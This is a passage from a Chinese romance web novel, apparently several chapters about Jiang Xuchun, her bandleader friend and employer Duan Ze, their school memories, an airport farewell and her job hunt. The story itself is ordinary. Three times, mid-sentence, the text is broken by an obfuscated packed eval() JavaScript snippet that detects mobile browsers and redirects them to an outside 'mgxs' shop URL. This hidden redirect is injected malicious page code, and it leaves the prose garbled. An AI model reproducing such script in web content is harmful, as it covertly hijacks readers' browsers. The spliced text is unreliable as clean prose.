“所以,这就是你烦恼的原因吗。”见她迟迟不语,段则道,“因为不知道以后要做什么?” “差不多吧。” “那就都试一试。试一试考公,要是失败了再试一试别的,直到试到自己想要的那个。” “说得好听,哪有那么多试错成本。” “什么成本?钱?那我承诺你,在你新工作稳定前,我会一直给你发这里的工资。时间?就算不推迟退休,你也还得再干三十年。” 江绪春双手抱臂,整个人快要伏到桌面上,喃喃着:“以后遇不到你这么好的老板怎么办。” “哦,不是我打击你,你确实再遇不到了。” 江绪春惆怅地瘪了瘪嘴。 寿喜锅的味道似乎不怎么样,段则只简单吃了些面和蔬菜,便放下筷子。 “你还有什么想聊的吗,我明天打算回泓州了,上次录的demo不太满意,需要去重录。” 说是陆鲨放三个月假,其实真正放假的只有她和另外三人,段则还得在这三个月里,把新专赶出来。 江绪春想了想:“没有了。” “行。”段则顺利结完账,“我现在打车。” “那个……我想走走,晚饭吃得有些撑。” 闻言,段则放下手机:“那走吧。” 可能是室内的温度太暖和,甫一走出餐厅,江绪春便打了个大大的喷嚏。 她颤抖着吸了吸鼻子,脑袋还有些懵,肩上便搭来一只手。 “穿这么少。”段则将她整个儿揽进怀里,给她度去一点热意。 “我没想到会这么冷啦。” 出门的时候天还没黑透,现在太阳彻底下山了,温度确实低了好一截。 她就这样在段则的环抱下,走过母校边狭窄的街道,当年每次放学,这里都被堵得水泄不通。 不过此刻,学生们都在上晚自习,只有零星几个性急的家长已在街边等候,街道空荡又寂静。 段则今天没有喷香水,周身温热的空气里,氤氲着独属于他自己的味道。 江绪春很难用一种具体的事物来描述这种味道,只知道它让她很安心,哪怕明天就是世界末日,躺在他的气息里,也能得一刻安寝。 “你知道吗,东门以前看门的那个大爷,前年离世了。” 今天下午,她刚从申涟那里得知这件事。 她能感觉肩上的手忽而一顿,段则回头看向已经远去的校门,良久叹了口气:“世事无常。” “是啊,世事无常。” 其实上学时,大家都不太喜欢那个大爷,因为他又凶又严厉,每次迟到都会被他好一顿吼,骑车上学的同学进门前要是慢了一步下车,还会被他举着橡胶棍在后面追着撵。 段则也没少和他斗智斗勇,因为他有时会带吉他来学校练习。只是除了艺术节这种特殊时刻,平日里学校并不允许带乐器,还是这么大一个乐器,都没法藏进书包里。 每次带乐器时,段则都会早早抵达校门口,然后找个隐蔽的地方观望,等到人潮最密集的时候混入其中。 但总有被发现的时候,大爷会举着橡胶棍指他,问他带了什么,段则当然不会老实回答,背着吉他撒腿就跑。大爷那时候还不到六十,尚且能跑上几步,但终究撵不上精力旺盛的高中生。 次数多了后,大爷每次看到他,哪怕他没带吉他,也要瞪他一眼。大爷还打听到了他的名字,于是上学期间常常出现这样的画面—— 有个学生背着吉他在前面狂奔,大爷追在后面怒吼:“5班的段则,你给我站住!” 至于班主任为什么不管,那是因为两人开学就做了约定。他会好好学习,保证成绩绝不下滑,只求班主任能在午休期间,允许他去操场练习。 但那只是两人之间的约定,因而班主任也没法阻止别人抓他。 段则和大爷就这么斗智斗勇了三年,高三毕业那天,他还特地赶到保安室,非要和大爷合照一张。 江绪春是站在旁边按拍立得的那个。大爷看到他就皱眉,挥着手让他滚,但拗不过他嬉皮笑脸地一直纠缠。最后大爷叹了口气,面无表情地站在原地,段则忙上前一手揽着他,一手比了个“耶”,用眼神示意江绪春快点按快门。 照片拍了两张,一张段则自己留着,一张他硬塞给了大爷,随之附赠了个小礼物。 大爷好奇地打开一看,发现里面是个吉他造型的钥匙链,气得举起手来,眼珠子滴溜溜转,四处搜寻橡胶棍放在哪。 段则不由分说,一把按下他的手,强行抱住了大爷:“这些年辛苦了,祝您身体健康。” 吉祥话当头,大爷的心终于软化了些,无奈地笑道:“也祝你们前程似锦。” 那还是江绪春三年来第一次看大爷笑,她这才发现,他笑起来的时候,看着居然很慈祥。 其实那天,段则也带了吉他上学。进校门时大爷分明是看到了,但难得一次没说他,默默将目光移向另一边。 后来听5班的同学说,最后一堂课,段则在讲台上给大家弹唱了一首歌,朴树的《那些花儿》。 开始只是他独唱,不知是谁开头,最后变成了全班合唱。歌曲本身并不长,但大家一遍遍“啦啦啦”重复着,整整唱了十分钟。 得知此事的江绪春,非常不满地找到段则:“你怎么不给我也唱一首?” 段则茫然地看着面前满脸愤懑的小姑娘:“你想听啊?” “我不能听吗?” “可以啊,当然可以。”段则抬手揽过她的肩,“走,给我们尊贵的小鸭单独弹唱一首。” 走廊上人来人往,段则带着她一路上到天台。 夏季的太阳落山迟,傍晚日头仍盛,两人缩在角落仅有的一片阴影下,跟做贼似的。 段则取出吉他,随手拨了一道:“你想听什么?” 江绪春本来想听那首没听到的《那些花儿》,但她想了想说:“你想给我唱什么?” “你?”段则面露迟疑,长久地看着她。 那片阴影的遮盖面积太小,段则的半边脸笼在日光下。他被晒得微眯起眼,注视她的时候,给人一种他过分专注的错觉。 楼下的广场有人在高呼,喊些“高考加油”“顶峰相见”之类的词句,“嗡嗡”地刺激着江绪春的耳膜,让她的心变得乱糟糟。 段则把最好的那片遮阳位让给了她,太阳晒不到她,但她仍被他的目光灼烧得厉害。 她下意识别过脸,能听见段则轻轻吸了一口气:“我想到了一首歌。” “什么歌?” 段则没应声,低头开始滑动手机。毕竟是最后一天,许多人想拍照留恋,因此手机也难得被允许带进校园。 少顷,他把手机递给江绪春:“我之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202910|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没怎么弹过这首歌,你帮我举一下谱子,每次我一点头,你就划一下屏幕。” “哦。” 于是明明是来当观众的江绪春,莫名其妙成了他的助理。 这首歌的前奏有些长,江绪春倒也习惯了,段则喜欢的歌,好多都有着非常长的前奏,甚至有些歌整首下来,也就唱上那么几句。 江绪春一开始总是听得猴急,不停问主唱怎么还不开口,后来渐渐习以为常,还试着去欣赏这些纯粹的旋律。 就像眼下这首,盛夏将至,她却仿佛来到了萧瑟的秋日,红叶乘风而起,飘落在河面顺流而下。 因为不甚熟悉,段则弹得很慢,眉头微皱,给这张少年人的面庞添了些不合衬的深沉。 良久,他终于开口,轻声哼唱着: “Pleaserememberme, WhenIamgonefromhere. Pleaserememberme, Butnotwithtears……” 少年的身躯瘦削,撑不起一件水蓝色的校服衬衫,任它在风吹下猎猎作响。 那时的段则还没有系统提升英语水平,带着和她一样的本地口音,歌词只有那么几句来来回回重复,“remember”是被提及最多的词。 江绪春直觉这是一首很忧伤的歌,沉浸在这种情绪里,她都忘了给段则翻页。 吉他声顿了一下,好在后面的旋律相对重复,段则没多说什么,继续弹奏下去,只是没再点头。 音乐声止,江绪春渐渐回神:“你为什么想对我唱这首歌呢?” 段则看着她,轻声问:“小鸭,你会忘记我吗?” 毕业意味着分别,虽然大家都互道“日后再会”,但彼此都很清楚,也许和很多人此刻正是永别。 江绪春忙回道:“当然不会啊!” “真的?” 那时候他的面庞还没有现在这么锋利,眼神也柔和许多,以至于这么被他盯着时,总是好容易心软。 可是她又没有做错什么,她并没有撒谎。 “真的。”江绪春重复了一遍,语气比之前认真许多。 “好。”段则将吉他收好,抬手揉了下她发顶,“我相信你。” “那你呢,你会忘记我吗?” “不会。”他答得没有一丝犹豫,却反让江绪春觉得不够真诚。 “不信,你要是忘记我怎么办?”江绪春追问道。 “那你上我家告状,反正地址你都知道。” “有什么用呢。”江绪春声音轻了一截,后半句像在自言自语,“你都忘记我了……” 蝉鸣声中,江绪春迎来了填志愿的日子。 她的高考成绩和模考差不多,她的人生一直很平稳,没什么大灾祸,但也少有惊喜发生。 刘蓉找人研究了一番,最后敲定了两个学校。一个在泓州,还有一个在西南某地。 这两一个学校排名高点,一个专业排名高点,但都没有哪个特别突出。 一家人研究好几天,连学校附近商场数量都比上了,还是没想好把哪个填在前面。 “小申有和你说想去哪吗?”刘蓉问。 “她好像想去深圳。” “哦,那小段呢。” “好像是泓州。” 段则前两天有和她提过一嘴,不过和她想填的不是一所学校。 “那就去泓州。”刘蓉一拍桌子,果断下了决定,“到时候起码有个人互相照应。” “啊。”江绪春有点懵,半晌犹豫着一点头。 在填志愿这件事上,从专业到学校,好像都是别人在替她做主。 她就这样被命运推着,再次和段则相聚。 也就是这两年,江绪春渐渐会想,如果当年去了西南上学,现在的她,会过着怎样的人生呢? 16. 第 16 章 走出二中的那条长街,迎面是一条宽阔的双向马路。段则揽着她轻车熟路地向右拐,往她家的方向走。 路上还有放学晚归的初中生在逗留,两个小姑娘脸侧留着长长的须发,头抵头弯着腰,像小动物一样在叽叽喳喳地密谋些什么。 忽然有个女生发现了他们,她戳了戳同伴,另一位心领神会,两人忽地都直起身子,目不斜视地向前走。 擦肩而过之际,江绪春扭头看了一眼她们,正对上她们也望过来的眼,给两个小姑娘吓一跳,又笑又叫地牵手跑远了。 段则全程置身事外,直到听到声音后,才茫然地回头看上一眼。 “怎么了?”他随口问。 “没事。” 江绪春倒很清楚,她们在偷偷看段则。 因为在她上学的时候,也是这么偷偷看帅哥的。 虽然周围人都觉得段则是最帅的那个,但江绪春到底从小看到大,难免也需要一些新鲜的刺激。 偶尔,她会遇上一些可能不如段则,不过很有个人特色的帅哥。 那时候段则早就改叫她“小鸭”了,但她仍自卑地觉得自己是只丑小鸭,除了段则,对上别的帅哥压根都不敢直视。 她会借助每一个同行伙伴作为掩体,再假装看天看地看大树,将帅哥默默纳入到余光范围之内。 段则无疑是最好的掩体,因为他足够高,可以将江绪春整个儿挡在身后,让她悄悄探出一只眼睛,别说余光了,就这么直视帅哥也可以。 开始段则还不明所以,次数多了后,某次他终于反应过来:“你在看那个男生?” “啊?没有啊。”看完帅哥的江绪春心满意足地装傻。 “我帮你跟他要个联系方式?” “你神经病啊!”江绪春急得直拍他,“我才不要。” 看她这副气急败坏的样子,段则被打得直乐:“我说你怎么突然鬼鬼祟祟跟小偷似的,合着是在偷看人家,大方一点不好吗?” “不好。” “为什么不好?” 江绪春支吾着:“他太帅了……” 我太普通了。 面前突然降下一张帅脸。 段则大发神经,猛地弯腰将脸怼到她面前,好险她停住了脚步,才没被他高高的鼻尖抵瞎眼睛。 “你脑残啊,吓我一跳。”江绪春骂他。 “我不帅吗?” 这话不是那种得意的自夸,而是发自内心的疑问。 刚被吓一跳的江绪春不是很想夸他。 “justsoso.”她拽着最近从电视上学来的英语,推开了他。 段则“哦”了一声,直起身子继续和她并肩向前,但突然沉默了很多。 再后来,当江绪春想要看帅哥时,段则已经很自觉去当那个掩体了。 他还会识趣地放慢脚步,好让她看得久一点。 只是每次江绪春看完,他便会皱着眉回头,上下打量人家一番,嘴里发出很轻微的一声“啧”。 ——当然,刚看完帅哥的江绪春还沉浸在刚刚的美好之中,压根注意不到身边人的这么多小动作。 “好想回到初中哦。” 小姑娘们的笑声渐远,江绪春也从回忆中回神,感概道。 不像小学那般稚嫩,也不用面对高考的重担,无疑是最美好的一段青春时期。 “回去干嘛?”段则接话道。 “也不干嘛,就每天上学放学,吃吃喝喝睡睡写写作业,就很好。” “你觉得现在不好吗?” 段则的声音很温柔,蓦地给她心上拨了一道。 “没有不好啦,就是……脑子里总是装了太多事。” 原本揽着她肩膀的手忽而上移,把着她脑袋晃了晃。 “倒出来一点没有?”他问。 江绪春配合地晃晃脑袋:“好像倒出来了一点,对了,你叫什么名字来着?” “完了,给最重要的倒走了。”段则故作一本正经,“我叫江绪春。” “你是江绪春,那我是谁?” “你想不想玩摇滚,弹吉他?” “好啊,那你想不想一事无成,碌碌无为?” “胡说八道。”段则非常顺手地揪了下她脸颊,“我江绪春才不是这样的人。” “那你是什么样的人?” “是个颇有才能,去哪一行都能干得很好,只是不够自信的人。” 江绪春突然有点儿眼热。 她觉得这个世界上能如此信任和肯定她的,除了她妈,就剩段则了,就连她爸,偶尔还会消遣打压她几句。 江绪春吸了吸鼻子,不想把这种煽情时刻延续下去,随口换了个话题:“你明天几点的飞机回去?” “下午两点多,怎么,要来送我么?” “好啊,明天不见不散。” “行,我等你。” “话说,你新专是什么概念?”走过一个转角,江绪春问。 “那些拥有后又失去的。”段则说,“老傅的外婆年初不是过世了吗,都没能看到他巡演,他就写了首纪念他外婆的词,让我帮忙谱曲。 “我写着写着,想到很多我自己拥有又失去的,包括之前写完没地儿发的歌,也有些扣题的,刚好凑成一张专辑。” 老傅是队里的贝斯手,大块头的北方人,但特感性特爱哭。 “那你什么时候给我也写一首?”江绪春头脑一热问道。 “我不是给你写过很多吗?” “写一首这个主题的呀,你不是马上也要失去我了吗?” 话一出,她能感受到肩上的手一僵。 段则的声音忽地轻了些:“我是想给你写首歌,但不是这个主题。” “什么主题?” “下张你自己看。” 陆鲨算是原创乐队里出歌比较快的了,但也要两三年才能出上一张正规专辑。 “你不会把我塞到ep里吧?” “我打算把你放在十周年特别专辑里。” 江绪春掐指一算,从他19岁组建陆鲨至今,居然还有两年就是十周年了。 时间真快,当年她还要四处求爷爷告奶奶送票,而现在的陆鲨已是一票难求。 “好,那我拭目以待。”江绪春说。 比起歌曲,她更好奇的是,到时候他们还会像现在这般熟络吗? 两人走了快四十分钟,终于到了江绪春家楼下。 段则松开手,没了他的环抱,江绪春冷得瞬间打了个哆嗦。 “快上去吧。”段则说,“看你冻得。” “要不要上去坐坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209188|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”毕竟要不是她要求,他也不用在冷风中走这么久。 “两手空空的不太合适,以后有机会再坐吧。” “哦,那我给你打个车吧。” 她说着就拿出手机准备打车,段则一把按下她的手:“我差那点儿钱吗?” 江绪春在冷风中沉默片刻。 其实她刚刚说一千道一万,真正想说的也不过是一句:“谢谢你。” “知道了小鸭。”段则伸手揉了把她发顶,“快上去吧,别冻感冒了。” 甫一推开家门,正在看电视的刘蓉上来就是一句:“你不是去找申涟吗?” “是、是啊。”江绪春忍不住开始心虚。 “你爸在阳台上,怎么看到是个男的送你回来?”刘蓉笑着冲她一挤眼,“有情况了?” 大概是腿摔断后向往自由,江志远一天到晚坐在阳台上往外看。 “是段则。”江绪春说,“回来路上刚好遇到他,他就送我到家了。” “哦。”刘蓉失望地应了一声,重新看向电视,“他回兴榕了?” “嗯,陆鲨不是放假吗,他就回来看他妈妈。” “唉,这孩子还挺孝顺的,要是取向正常一点就好了。” 江绪春不知是该和她解释自己当初撒了谎,还是取向并无正不正常之分。 她最终什么也没说,“嗯”了一声准备回卧室。 “对了,你爸明天打算去拆石膏。”刘蓉在背后叫住她,“你要不要跟着去?” “好啊。”江绪春毫不犹豫地答应了。 第二天中午一吃完饭,一家人齐齐赶往医院。 江志远终于要拆石膏了,众人心情都很好,刘蓉还特地化了个小妆,说要庆祝庆祝。 “给我庆祝,那不是应该给我化妆吗?”江志远调侃道。 刘蓉举着口红上前:“来,给你化一个。” 江志远昂着头,一把按下他老婆的脑袋亲了一口,咧开沾上口红的嘴:“化上了。” 一旁的江绪春默默将目光移向另一边。 拆石膏的过程很顺利,江志远的腿除了有点肌肉萎缩,恢复得还不错,换上护具后勤做康复训练,还是有很大可能恢复如初的。 “真好,晚上我们好好撮一顿。”刘蓉拍拍江绪春,“小春,你来选个地儿。” “哦,好。” 江绪春摸出手机,却发现在静音期间,漏了好多条短信和电话,基本都是来自段则的。 她一愣,这才明白自己这大半天为什么一直恍恍惚惚的,总觉得好像忘记了什么—— 自己昨天答应给段则送机的。 [江绪春:不好意思,我爸今天拆石膏,我就陪着一起来医院了,一时忘了这件事。对不起对不起,都是我的错,我回泓州请你吃顿饭赔礼道歉好不好?] 信息发完,她刚准备切出去搜餐厅,顶上突然弹出来一条消息。 [段则:你什么时候回泓州?] 江绪春看了好几遍,确认不是自己眼花了。 [江绪春:你不是应该在飞机上吗?] 他网瘾好像没有大到这两三小时还要买个wifi吧。 [段则:我没有上飞机。] [江绪春:为什么?] [段则:你不是说了不见不散么?] 17. 第 17 章 出租车停在了机场外,江绪春匆匆撂下一句“谢谢”,便拔腿向内狂奔。 兴榕的机场很小,江绪春在大厅扫视一圈,瞬间定位到不远处的某个身影。 段则头戴一顶棒球帽,坐在椅子上弯着腰,正在逗一个小孩儿玩。 可能小孩儿都是颜控,明明段则面无表情时还挺教人发怵,但不知怎的,他特别有小孩儿缘,男孩儿女孩儿都爱和他玩。 此刻段则手拿一支棒棒糖,两只手倒来倒去,就是不给面前这个小女孩。女孩儿被耍得团团转,偏也不恼,还“咯咯咯”笑个不停。 江绪春在远处看了半分钟,才走上前去,默不作声地立正。 段则先察觉到了她,他抬头看她一眼,而后将棒棒糖递到小女孩手里,摸摸她的头:“恭喜你赢得比赛,奖品给你,哥哥先走了。” “哥哥拜拜。”小女孩拿着心爱的棒棒糖,目光却一直跟着他转。 段则拉着登机箱,同她朝无人的地方走去:“你来了。” “嗯,不好意思,都是我不好……” “打住,如果是专程来道歉的话,没必要,我已经原谅你了。” 可她确实是专程来道歉的。 两人在角落站定,在周围脚步匆匆的人群衬托下,显得格外无所事事。 “你怎么真的没上飞机。”江绪春想不通。 “你说了不见不散啊,没见到你我怎么走。” 江绪春不知道他为什么突然特别较真。 在这种时刻,她会觉得他不像一个奔三的成年人,反倒像个青春期的孩子,较真、敏感,还有点儿叛逆。 可能这些搞艺术的,身体里就是住了很多具不同的灵魂。 “现在应该还有去泓州的飞机,我帮你买吧。”江绪春说。 也算是一点补偿。 段则默不作声地看她刷着购票平台。 直到进行到付款那步,他按下她的手:“你知道我为什么不走吗?” 江绪春看着他,很认真地摇摇头。 段则扯了下嘴角,扭头看向别处,好像在犹豫说不说。 而江绪春的目光始终定在他面上,耐心等待他的答案。 “因为我觉得,这次见不到你……”良久后,段则才开口,“我可能就再也见不到你了。” “怎么会呢。”江绪春哑然失笑,“最起码,我还有东西在泓州要收拾啊。” “是,是还有见面的机会,但可能再也见不到现在的你了。那时候你或许已经找到了男朋友,甚至已经领证,也开始了新工作,总之,是和现在不一样的你。” “那样的我……不好吗?”江绪春轻声问。 段则沉默少顷:“如果你想要过那样的生活,那应该很好吧。” 广播里的机械女声在通知登机口的临时更改,江绪春盯着他看了一会儿,上前抱住了他。 段则一开始只是任她抱,片刻后,终于躬身回抱住她。 一大片重量压过来,她摇晃了一下,将他抱得更紧了些。 不知是谁先松开的手,彼此默契地各退一步,四目相对,都笑了。 “行了小鸭,你回去吧,我坐下一班飞机走。” 江绪春点点头,一路送他到柜台外。 她刚准备转身离开,忽而回头道:“我不会变的。” 段则讶异地看她一眼。 “或者至少,在我改变之前,我会和你再见一面。” “好。” 出租车行驶在回市区的高架上,江绪春望着窗外略显荒芜的景色,头脑因为过于杂乱,反而没法去思考些什么。 段则在兴榕这几日发生的种种,一直在她脑中打转,之前她总有一种说不清的恐惧,但今天听了段则的话后她明白了—— 她也害怕他们再次见面,可能就是物是人非了。 来到餐厅,父母一早在包厢等候。 “我和你爸点了些你爱吃的菜,你看看,还有什么要加的。”刘蓉把菜单推给她。 好像不管是为谁宴请的饭局,点的永远是她爱吃的菜。 江绪春翻着菜单,加了几道父母爱吃的菜。 “小段回去了?”等待上菜的间隙,刘蓉问道。 “嗯,他有工作要忙。” “哦,你不用去帮忙吗?” 江绪春摇摇头。 少顷,她突然道:“爸、妈,你们说,要是我换个工作怎么样?” “挺好的啊,想换什么工作?”刘蓉道。 她以为她妈会很惊讶,或者至少问句为什么,这副子淡定的反应,反倒让江绪春一时无所适从。 她转头看向江志远,这位耸了耸肩:“当初你要做这一行,不就来了个先斩后奏,我们的意见大概率你也不会听,想做什么就做什么吧。” 被说中的江绪春笑得很是无奈。 “不过,不管你做什么。”刘蓉说,“如果有什么不开心的,一定要跟妈讲。” “也要跟爸讲。”江志远插嘴道。 “你爸懂个屁,你爸就知道插科打诨。” “你就说听了开不开心吧。” …… 夫妻俩又开始旁若无人地拌嘴,江绪春知道自己插不上话,默默先动了筷子。 回到家,江绪春第一件事便是坐到书桌前,翻开了高中时期买的,至今只写了两页的计划本。 她一直算不上一个多有规划的人,虽然常常靠买一堆计划本来督促自己,但往往坚持不过第二天。 只是工作性质逼着她必须计划好自己的日程,这些年她习惯手机和电脑一套电子日程表,还得随身带个纸质日程本,按分钟规划好每一个任务。 想来,她还是从这份工作中学到很多东西的。 江绪春掀开这本花里胡哨的计划本,准备也规划一下自己的未来。 说未来太远,那就限定在这剩下的两个多月。 刚写下“工作”两个字,她突然就卡了壳。 那天和申涟聊完后,江绪春已经渐渐放弃了考公,但她还没想好下一个让自己追逐的目标。 她上网搜了下专业对口的工作,却发现好像哪个都不感兴趣。 又或者,她这些年攒了不少钱,本来准备买房,现在看来,倒也可以试着投资一个店铺。虽然她对经商兴趣缺缺,但也不失为一个出路。 想来想去,江绪春默默在工作那栏下写了个“待定”。 至于个人生活方面,江绪春没有犹豫。 她的目标很明确,她想要在这两个多月内,找到一个发展对象。不一定要领证,甚至不一定确立关系,但起码彼此心意相通,可以进一步发展。 写完后,江绪春盯着这混乱的计划表皱起了眉。 怎么计划起之前的工作那么清晰美观,一到自己的生活,怎么理都是一团乱麻。 她随手将计划本扔到一边,目光不自觉瞥向手机,忍不住打给了段则。 等待音响了半分钟后,那头才接通。 “喂?小鸭。” “你在干什么?” “在录音室录音,怎么了?” “没什么,就想问问你到泓州了没有。” 那头沉默少顷:“我两小时前就到了。” 还好不是面对面,江绪春无须掩饰面上的尴尬。 “哦,那你忙吧,不打扰你了。” “发生什么事了?” “真没事,就是有点无聊,习惯性想打给你。” “这习惯挺好,继续保持。” 等完成“个人生活”那一项的计划,怕是就保持不了了吧。 江绪春趿拉着拖鞋走到床边,一头躺倒,含混地“嗯”了一声。 “不过我现在确实有点忙,晚上到家回给你,怎么样?” “好。” “拜拜,小鸭。” “拜拜……” 她突然想趁着最后能保持习惯的时候,叫点“段则”之外的称呼。但一堆词汇在嘴边过了一转,一个也没能说出口,只等到一串忙音。 江绪春随手一丢手机,默默在床上打了个滚,整个儿将自己埋进了被子里。 王八蛋、狗东西、十三点、二百五、装x怪、墨镜男…… 段则。 ……段则。 洗漱完毕,江绪春窝在床上,下载了好几个求职app。 App上要求她写一份电子简历,除了当年找实习时,她几乎没再写过这个。某种意义上,她算是一个比较长情的员工,但因为履历太过垂直,跨行跳槽似乎不算容易。 至于意向城市,她不想待在兴榕,而离开了陆鲨,她也不太想留在泓州。到最后,她干脆把北上广深都填了上去。 此时的她就是一只刚刚离笼的鸟,扑腾着翅膀迫不及待想飞,却因为天空过于宽广,反倒迷失了方向。 一切准备完毕,江绪春正准备刷一刷系统推荐岗位时,电话响了,来自段则。 “喂。” “没睡吧,小鸭。” “睡了,被你吵醒了。”江绪春故意道。 “撒谎。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214071|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒被揭穿的江绪春忍不住坐直身体:“你怎么知道?” “我又不是不知道你刚睡醒是什么声音。” 是,他什么都知道。 除了没赤诚相见过,两人基本已经把对方了解了个底朝天。 ……倒也不一定。 起码有一个秘密,江绪春觉得他还不知道。 “所以你找我有什么事?”江绪春问。 “搞错了吧江小姐,不是你晚上先找的我吗,我这不刚忙完,就马上给你回电话了。” 这么一对比,段则倒还挺言而有信。 “不是说了吗,习惯而已。” “我不习惯。” “怎么了?” “刚工作完肚子饿,想找你吃夜宵,才想起来你不在。” “你怎么不找老傅他们?”江绪春说,“除了阿光陪女朋友旅游去了,其他人应该都还在泓州吧?” “我就想找你。”段则的语气很无赖。 “那你就饿着吧。”江绪春比他更无赖。 那头沉默几秒,居然“啪嗒”把电话挂了。 没礼貌的家伙。 江绪春在心底吐槽了几句,重新开始刷求职app。 花里胡哨的岗位描述看得她头疼,她感觉自己好像脱离传统职场环境太久,已经有些看不明白现下的风气。 她正准备收拾收拾先睡一觉,电话又响了。 同样来自段则,不一样的是,这是通视频电话。 本着想看看他在搞什么鬼的原因,江绪春还是接通了。 甫一接通,出现在屏幕上的不是他那张帅脸,而是一桌比他更诱人的美食。 江绪春一眼就认出来了,那是两人常去的一家居酒屋,也是让她长胖的元凶之一。 虽然今晚吃得很饱,但已经过去了三四个小时,江绪春下意识咽了下口水,睁大眼一道道菜看过去,刚看一半,镜头翻转,段则盯着她直乐。 ……美食当前,她都忘了段则能看到她的样子。 段则调整了一下手机,似乎将它立在了桌上,这个角度不仅能看到桌上的菜,也能看到段则的脸。 他慢条斯理地拿起一串烤鸡软骨,在镜头前三百六十度全方位展示一番后,慢悠悠地咬了一块,还特地凑近听筒,让她听他咬得嘎嘣脆的声音。 这头的江绪春口水都咽累了。 “你有病啊段则。”她真想马上飞到泓州锤他。 段则权当耳旁风,又拿起一串烤猪颈肉,依然是一番尽职的吃播展示。 江绪春回忆着冰箱里的东西,下意识看了眼卧室门。 再看向屏幕,段则已经开始展示她最爱的京葱鸡肉串了。不知是不是故意的,这次他展示得格外细致。 江绪春终于忍无可忍,起身穿鞋冲向了厨房。 一分钟后,江绪春在这头啃着冷面包,继续看着段则色香味俱全的吃播。 烧鸟已经吃完了,他将一盘炒乌冬拉到近前,搛起热气腾腾的一筷子,也不急着吃,就是展示。 “回头胖死你。”江绪春徒劳地开始诅咒他。 段则敷衍地“嗯嗯”两声,将一筷子面全部吃下,随着他的动作,江绪春忍不住又咽了下口水。 冷面包光能填补空虚的胃,但喂不饱旺盛的馋虫。 江绪春又馋又气,觉得今晚接起这通电话完全是个错误。 至于为什么不挂断…… 可能是她想多看几眼段则的脸。 哪怕对面这个人让她气得牙痒痒,她也还是想一直看着他。 炒乌冬逐渐见底,段则低头凑近屏幕,像是才发现她似的,故作讶异道:“哟,你还在呐。” “明天你就水肿发胖涨一百斤!”江绪春恶狠狠地诅咒他。 “你面包吃得不也挺香?我涨一百你涨五十,很公平吧?” “去死啦!” 段则笑笑,放下筷子:“不过,我还是更想和你一起吃。” 江绪春正在脑中编排更为恶毒的诅咒,闻言不由得一愣,都不知该怎么接话。 “老板还问我呢,说今天怎么一个人来。”段则说,“我说你回老家了。” 江绪春的心情逐渐平和下来,静静听着他说话。 “他问你什么时候来泓州,我说不知道。”段则说,“可能再也不来了。” 居酒屋的灯光昏黄,今晚放的似乎是昭和时期的歌,有种老派的忧伤。 段则轻叹一口气:“你说是不是老板手艺变了,怎么今晚这一顿,我吃得特别不是滋味呢?” 18. 第 18 章 blue 段则有没有长胖她不知道,但是那一晚,因为塞了一肚子面包,江绪春辗转难眠。 她始终在想段则最后说的那几句话,自打她提出离职后,她总觉得段则在释放一种信号,一种好像他很需要她的信号。 这种需要不是基于工作,而是生活。 又要陪老板工作又要陪老板生活,江绪春忽然觉得自己这个高薪拿得非常理所应当。 又或者从一开始,就不该把朋友变成老板。 更不该和朋友一起生活。 本着周末回消息的公司不能去的原则,江绪春等到周一才开始投递简历。她先投了几家兴榕的公司试试水,打算积累一下面试经验。 小城市体制外没什么好工作,胜在要求也低,江绪春很快收到了几家面试邀约。 第一家是个新媒体文案运营工作,勉强也算专业对口。 公司不大,负责面试的就是老板之一。他拿着她的简历,好像对她上一份工作很好奇,一直追问个不停。 这让江绪春觉得,他压根不是想招他,纯粹是对娱乐圈有所好奇。可惜陆鲨也只是在娱乐圈擦了个边,对那些内部八卦,她实在知之甚少。 告别了八卦的第一家公司,翌日,江绪春又去了第二家公司。 这家比上家规模大点,也更正规些,起码有个正儿八经的hr。那是个化着浓妆的中年女人,因为长期皱眉,眉心有道消不去的川字纹。 Hr略显嫌弃地用拇指和食指拎着她的简历,嫌她没有垂直经验,嫌她不够有网感,嫌她年纪大还尚未婚育。 江绪春感觉自己像一块菜市场案板上被挑来拣去的肉,出于极高的修养才没有提前离场。 第三家是个年轻的初创公司,hr小姑娘比她还小上三岁,两人相谈甚欢,当晚就给她发了offer。 只是这工资也很年轻,只有她曾经最高工资的零头,但听绩效要求,工作强度并没有低多少。 江绪春默默推了后面的几家面试,彻底对兴榕的就业市场死心。 个人生活方面,江绪春也没落下。 她觉得自己可能和母亲介绍的相亲对象八字犯冲,决定自己主动出击。 她在社媒上搜索了一下如何结识异性,并据此参加了各种桌游和剧本杀活动,结果到场的男性不是大学生,就是已有家室但仍想猎艳的。 一周过去了,两项任务都毫无进展的江绪春绝望地躺倒在床。 她想要什么呢,她问自己,她到底想要什么? 